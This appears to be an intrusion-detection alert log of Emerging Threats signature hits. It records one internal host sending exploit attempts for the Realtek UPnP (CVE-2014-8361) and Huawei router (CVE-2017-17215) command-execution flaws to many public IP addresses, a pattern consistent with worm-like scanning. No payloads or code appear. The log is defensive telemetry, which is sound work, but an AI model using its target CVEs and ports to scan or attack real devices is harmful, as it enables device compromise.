ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 48.145.35.196

Timestamp:	07/20/24-23:01:42.837135
SID:	2831300
Source Port:	34854
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 190.5.182.99

Timestamp:	07/20/24-23:01:14.035496
SID:	2835222
Source Port:	34068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.219.128.2

Timestamp:	07/20/24-23:01:02.064358
SID:	2829579
Source Port:	34402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.224.26.246

Timestamp:	07/20/24-23:01:00.641803
SID:	2835222
Source Port:	47368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.65.233.168

Timestamp:	07/20/24-23:01:59.593869
SID:	2027339
Source Port:	56606
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.77.35.64

Timestamp:	07/20/24-23:01:24.883171
SID:	2829579
Source Port:	60342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 49.9.206.193

Timestamp:	07/20/24-23:01:41.399866
SID:	2025132
Source Port:	44106
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 205.132.5.218

Timestamp:	07/20/24-23:01:13.649188
SID:	2025132
Source Port:	51914
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.237.97.145

Timestamp:	07/20/24-23:01:20.124696
SID:	2835222
Source Port:	53234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.220.117.2

Timestamp:	07/20/24-23:01:34.050672
SID:	2829579
Source Port:	33384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.100.4.197

Timestamp:	07/20/24-23:01:40.334934
SID:	2829579
Source Port:	44412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 126.192.25.7

Timestamp:	07/20/24-23:01:43.978984
SID:	2025132
Source Port:	56542
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.162.61.245

Timestamp:	07/20/24-23:01:42.101588
SID:	2027339
Source Port:	53848
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 147.163.143.195

Timestamp:	07/20/24-23:01:44.059102
SID:	2027339
Source Port:	44128
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 160.103.123.17

Timestamp:	07/20/24-23:01:34.062277
SID:	2835222
Source Port:	54054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.65.9.72

Timestamp:	07/20/24-23:01:31.978141
SID:	2829579
Source Port:	42054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 112.138.84.14

Timestamp:	07/20/24-23:01:44.565132
SID:	2831300
Source Port:	57282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 223.75.101.67

Timestamp:	07/20/24-23:01:45.735394
SID:	2025132
Source Port:	44298
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 84.150.128.0

Timestamp:	07/20/24-23:01:08.957638
SID:	2027339
Source Port:	47288
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.38.97.128

Timestamp:	07/20/24-23:01:56.270914
SID:	2027339
Source Port:	54396
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.51.174.240

Timestamp:	07/20/24-23:01:49.138222
SID:	2027339
Source Port:	50114
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 159.222.212.200

Timestamp:	07/20/24-23:01:41.366269
SID:	2025132
Source Port:	48042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.154.129.141

Timestamp:	07/20/24-23:01:31.976795
SID:	2829579
Source Port:	46866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 182.29.32.245

Timestamp:	07/20/24-23:01:46.019511
SID:	2027339
Source Port:	33072
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.182.113.83

Timestamp:	07/20/24-23:01:00.639093
SID:	2829579
Source Port:	52086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 133.122.43.145

Timestamp:	07/20/24-23:01:44.631448
SID:	2025132
Source Port:	34526
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.183.92.200

Timestamp:	07/20/24-23:01:46.556921
SID:	2027339
Source Port:	39934
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 76.88.28.157

Timestamp:	07/20/24-23:01:31.976984
SID:	2835222
Source Port:	38654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 81.144.207.10

Timestamp:	07/20/24-23:01:44.730531
SID:	2027339
Source Port:	45796
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 111.252.253.89

Timestamp:	07/20/24-23:01:08.677485
SID:	2831300
Source Port:	57276
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 179.40.74.15

Timestamp:	07/20/24-23:01:24.459589
SID:	2025132
Source Port:	43272
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 79.42.102.158

Timestamp:	07/20/24-23:01:42.713313
SID:	2831300
Source Port:	40798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 104.27.90.68

Timestamp:	07/20/24-23:01:42.563729
SID:	2831300
Source Port:	59400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 12.65.191.23

Timestamp:	07/20/24-23:01:44.144821
SID:	2831300
Source Port:	40362
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 135.23.236.194

Timestamp:	07/20/24-23:01:01.826098
SID:	2025132
Source Port:	59266
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.254.68.190

Timestamp:	07/20/24-23:00:57.221557
SID:	2835222
Source Port:	43680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.97.184.195

Timestamp:	07/20/24-23:01:08.683684
SID:	2027339
Source Port:	37206
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 70.161.8.187

Timestamp:	07/20/24-23:01:31.322217
SID:	2831300
Source Port:	52702
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 192.18.152.238

Timestamp:	07/20/24-23:01:41.882275
SID:	2025132
Source Port:	34572
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.89.78.68

Timestamp:	07/20/24-23:01:27.730585
SID:	2835222
Source Port:	60510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.44.236.192

Timestamp:	07/20/24-23:01:43.135089
SID:	2027339
Source Port:	57444
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 169.80.181.136

Timestamp:	07/20/24-23:01:45.862503
SID:	2831300
Source Port:	37346
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.145.121.60

Timestamp:	07/20/24-23:01:40.343151
SID:	2835222
Source Port:	58374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 171.210.7.241

Timestamp:	07/20/24-23:01:43.895586
SID:	2025132
Source Port:	52138
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.68.164.174

Timestamp:	07/20/24-23:01:44.631925
SID:	2027339
Source Port:	34438
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 165.194.139.225

Timestamp:	07/20/24-23:01:45.092575
SID:	2027339
Source Port:	45468
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.212.80.61

Timestamp:	07/20/24-23:01:53.735607
SID:	2027339
Source Port:	39890
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.16.13.92

Timestamp:	07/20/24-23:01:08.677485
SID:	2027339
Source Port:	54274
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 129.246.142.35

Timestamp:	07/20/24-23:01:48.547161
SID:	2025132
Source Port:	59820
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.12.120.37

Timestamp:	07/20/24-23:00:57.222279
SID:	2829579
Source Port:	60150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 220.87.191.244

Timestamp:	07/20/24-23:01:31.317774
SID:	2027339
Source Port:	51874
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 86.86.67.253

Timestamp:	07/20/24-23:01:02.768078
SID:	2025132
Source Port:	60488
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 210.49.56.86

Timestamp:	07/20/24-23:02:09.263272
SID:	2831300
Source Port:	43816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 181.98.41.184

Timestamp:	07/20/24-23:01:24.933370
SID:	2835222
Source Port:	41828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.72.207.45

Timestamp:	07/20/24-23:01:32.076593
SID:	2835222
Source Port:	53012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 146.210.17.240

Timestamp:	07/20/24-23:01:08.606848
SID:	2027339
Source Port:	36948
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 204.255.198.47

Timestamp:	07/20/24-23:01:45.540580
SID:	2025132
Source Port:	49004
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.162.151.3

Timestamp:	07/20/24-23:01:42.129029
SID:	2027339
Source Port:	40978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 76.231.40.42

Timestamp:	07/20/24-23:01:42.422050
SID:	2025132
Source Port:	57534
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 140.34.53.233

Timestamp:	07/20/24-23:01:13.694393
SID:	2025132
Source Port:	58076
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 89.86.75.249

Timestamp:	07/20/24-23:01:59.513085
SID:	2025132
Source Port:	53334
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 66.82.21.101

Timestamp:	07/20/24-23:01:59.707284
SID:	2027339
Source Port:	52044
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 194.21.224.56

Timestamp:	07/20/24-23:01:24.885895
SID:	2829579
Source Port:	46230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.138.190.176

Timestamp:	07/20/24-23:01:04.049279
SID:	2835222
Source Port:	49198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 129.27.232.7

Timestamp:	07/20/24-23:01:03.290547
SID:	2025132
Source Port:	38308
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.188.71.219

Timestamp:	07/20/24-23:01:21.931985
SID:	2829579
Source Port:	35820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.79.183.3

Timestamp:	07/20/24-23:01:07.022763
SID:	2835222
Source Port:	44248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 110.40.238.120

Timestamp:	07/20/24-23:01:46.827502
SID:	2027339
Source Port:	55088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.86.156.82

Timestamp:	07/20/24-23:01:45.188773
SID:	2027339
Source Port:	48818
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 83.28.127.148

Timestamp:	07/20/24-23:02:00.668349
SID:	2027339
Source Port:	53924
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.90.253.17

Timestamp:	07/20/24-23:01:00.639093
SID:	2829579
Source Port:	44420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 189.66.149.229

Timestamp:	07/20/24-23:01:43.147883
SID:	2025132
Source Port:	39284
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 144.60.118.98

Timestamp:	07/20/24-23:01:40.334452
SID:	2835222
Source Port:	56216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 75.93.244.9

Timestamp:	07/20/24-23:01:56.719998
SID:	2025132
Source Port:	40662
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 209.44.4.130

Timestamp:	07/20/24-23:01:53.524925
SID:	2025132
Source Port:	59212
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.161.204.46

Timestamp:	07/20/24-23:01:04.098909
SID:	2835222
Source Port:	51778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 158.212.171.84

Timestamp:	07/20/24-23:01:41.419124
SID:	2027339
Source Port:	36358
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 79.45.122.255

Timestamp:	07/20/24-23:01:56.504220
SID:	2831300
Source Port:	58452
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.71.226.225

Timestamp:	07/20/24-23:01:41.960623
SID:	2027339
Source Port:	53334
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 111.101.151.97

Timestamp:	07/20/24-23:01:49.631749
SID:	2025132
Source Port:	52014
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 192.160.62.15

Timestamp:	07/20/24-23:01:42.827952
SID:	2831300
Source Port:	40648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 157.202.7.129

Timestamp:	07/20/24-23:01:01.150119
SID:	2025132
Source Port:	42464
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 66.250.122.217

Timestamp:	07/20/24-23:01:53.863938
SID:	2025132
Source Port:	58594
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 101.122.117.242

Timestamp:	07/20/24-23:01:48.181097
SID:	2027339
Source Port:	44604
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.24.236.236

Timestamp:	07/20/24-23:01:58.031141
SID:	2027339
Source Port:	48568
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.213.218.177

Timestamp:	07/20/24-23:01:34.053061
SID:	2835222
Source Port:	43202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 73.36.171.85

Timestamp:	07/20/24-23:01:14.164018
SID:	2025132
Source Port:	34592
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 174.30.181.131

Timestamp:	07/20/24-23:01:41.299284
SID:	2025132
Source Port:	55122
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.124.34.30

Timestamp:	07/20/24-23:01:00.640312
SID:	2829579
Source Port:	57096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 93.10.103.253

Timestamp:	07/20/24-23:01:04.160872
SID:	2025132
Source Port:	47360
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 86.86.67.253

Timestamp:	07/20/24-23:01:08.650213
SID:	2831300
Source Port:	34576
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.83.227.139

Timestamp:	07/20/24-23:01:44.888072
SID:	2027339
Source Port:	53918
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 191.61.198.111

Timestamp:	07/20/24-23:01:41.245522
SID:	2025132
Source Port:	57362
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.217.163.253

Timestamp:	07/20/24-23:01:43.001716
SID:	2027339
Source Port:	36388
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 116.106.3.51

Timestamp:	07/20/24-23:01:52.482723
SID:	2027339
Source Port:	41540
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 92.112.157.125

Timestamp:	07/20/24-23:01:27.677519
SID:	2829579
Source Port:	40302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 100.7.167.160

Timestamp:	07/20/24-23:01:09.032669
SID:	2027339
Source Port:	54312
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 109.104.48.215

Timestamp:	07/20/24-23:01:46.485082
SID:	2831300
Source Port:	51436
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 94.187.41.215

Timestamp:	07/20/24-23:01:47.231819
SID:	2831300
Source Port:	45896
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

